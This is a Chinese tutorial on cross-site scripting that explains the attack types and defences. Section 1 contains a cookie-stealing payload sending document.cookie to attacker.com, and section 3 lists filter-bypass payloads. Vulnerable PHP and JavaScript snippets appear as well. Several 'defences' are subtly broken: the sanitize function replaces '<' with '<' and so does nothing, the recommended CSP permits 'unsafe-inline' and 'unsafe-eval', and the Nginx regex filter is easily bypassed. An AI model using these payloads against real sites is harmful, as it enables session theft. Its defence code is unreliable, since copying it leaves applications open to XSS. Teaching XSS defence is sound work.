1. XSS跨站脚本攻击的本质
想象一下，你在论坛发帖时输入了一段JavaScript代码，而网站竟然原封不动地把这段代码显示给其他用户——当别人浏览这个帖子时，你的代码就在他们浏览器里悄悄执行了。这就是XSS（Cross-Site Scripting）攻击的核心原理：让恶意脚本在受害者的浏览器里“跨站”运行。
我曾在一次安全审计中发现，某电商平台的商品评论区存在存储型XSS漏洞。攻击者只需在评论中插入：
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>当其他用户浏览该商品时，他们的登录凭证就会自动发送到攻击者服务器。更可怕的是，这种攻击完全不需要受害者点击任何链接。
2. XSS的三种攻击形态
2.1 反射型XSS：钓鱼链接的陷阱
反射型XSS就像网络世界的"毒包裹"。攻击者构造一个特殊链接：
https://vulnerable-site.com/search?q=<script>alert(1)</script>当用户点击这个链接时，服务器将恶意脚本"反射"回页面执行。去年某政府网站就因此中招，攻击者通过伪造"疫情补贴申请"的钓鱼邮件传播恶意链接。
2.2 存储型XSS：潜伏的定时炸弹
存储型XSS的危害更大，我在审计某CMS系统时曾复现过这样的场景：
// 漏洞代码示例 $comment = $_POST['comment']; mysql_query("INSERT INTO comments VALUES ('$comment')");攻击者在留言板提交恶意评论后，所有访问该页面的用户都会触发攻击。2023年某社交平台就因这类漏洞导致百万用户数据泄露。
2.3 DOM型XSS：前端的安全盲区
这种XSS完全在浏览器端发生，不需要服务器参与。例如：
// 漏洞代码 let hash = location.hash.substring(1); document.write("Welcome " + hash);如果用户访问example.com#<img src=x onerror=alert(1)>，就会触发XSS。现代单页应用(SPA)尤其需要防范这类漏洞。
3. 实战中的XSS攻击手段
3.1 经典攻击载荷剖析
除了常见的<script>标签，攻击者还会使用这些方式绕过过滤：
<!-- 利用图片标签 --> <img src=x onerror=alert(1)> <!-- 伪协议注入 --> <a href="javascript:alert(1)">点击领奖</a> <!-- SVG矢量图攻击 --> <svg onload=alert(1)>3.2 高级绕过技巧
在某次渗透测试中，我遇到过滤了<script>但允许HTML5特性的情况，成功用以下方式绕过：
<video poster=javascript:alert(1)>其他常见绕过手段包括：
- Unicode编码：
\u003cscript\u003e - 注释干扰：
<scr<!--test-->ipt> - 大小写混用：
<ScRiPt>
4. 构建全方位防御体系
4.1 输入输出双保险
防御XSS需要多层防护：
// 前端过滤示例（仅辅助防御） function sanitize(input) { return input.replace(/</g, '<').replace(/>/g, '>'); } // 后端防护（PHP示例） $clean = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');4.2 内容安全策略(CSP)
CSP是终极防御武器，配置示例：
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'; img-src https://*; child-src 'none';4.3 现代框架的防护机制
以Vue为例，其自动转义机制能防御大部分XSS：
// 安全写法 <template> <div>{{ userInput }}</div> </template> // 危险写法（避免使用v-html） <div v-html="userInput"></div>5. 企业级防护实践
在某金融项目中的实战经验：
- 在Nginx层添加全局过滤：
location / { set $xss ""; if ($request_uri ~* "<script") { set $xss "1"; } if ($xss = "1") { return 403; } }- 定期使用XSStrike等工具进行扫描
- 关键Cookie设置HttpOnly和Secure属性
6. 开发者自查清单
每次代码审查时我都会检查这些点：
- 所有动态内容输出是否经过编码？
- 是否避免使用innerHTML等危险API？
- CSP策略是否足够严格？
- 第三方组件是否经过安全评估？
- 是否定期更新XSS过滤规则？
记得有次修复了一个看似无害的漏洞：某API响应头缺少X-Content-Type-Options，导致浏览器可能误解析响应为HTML。安全无小事，每个细节都值得关注。
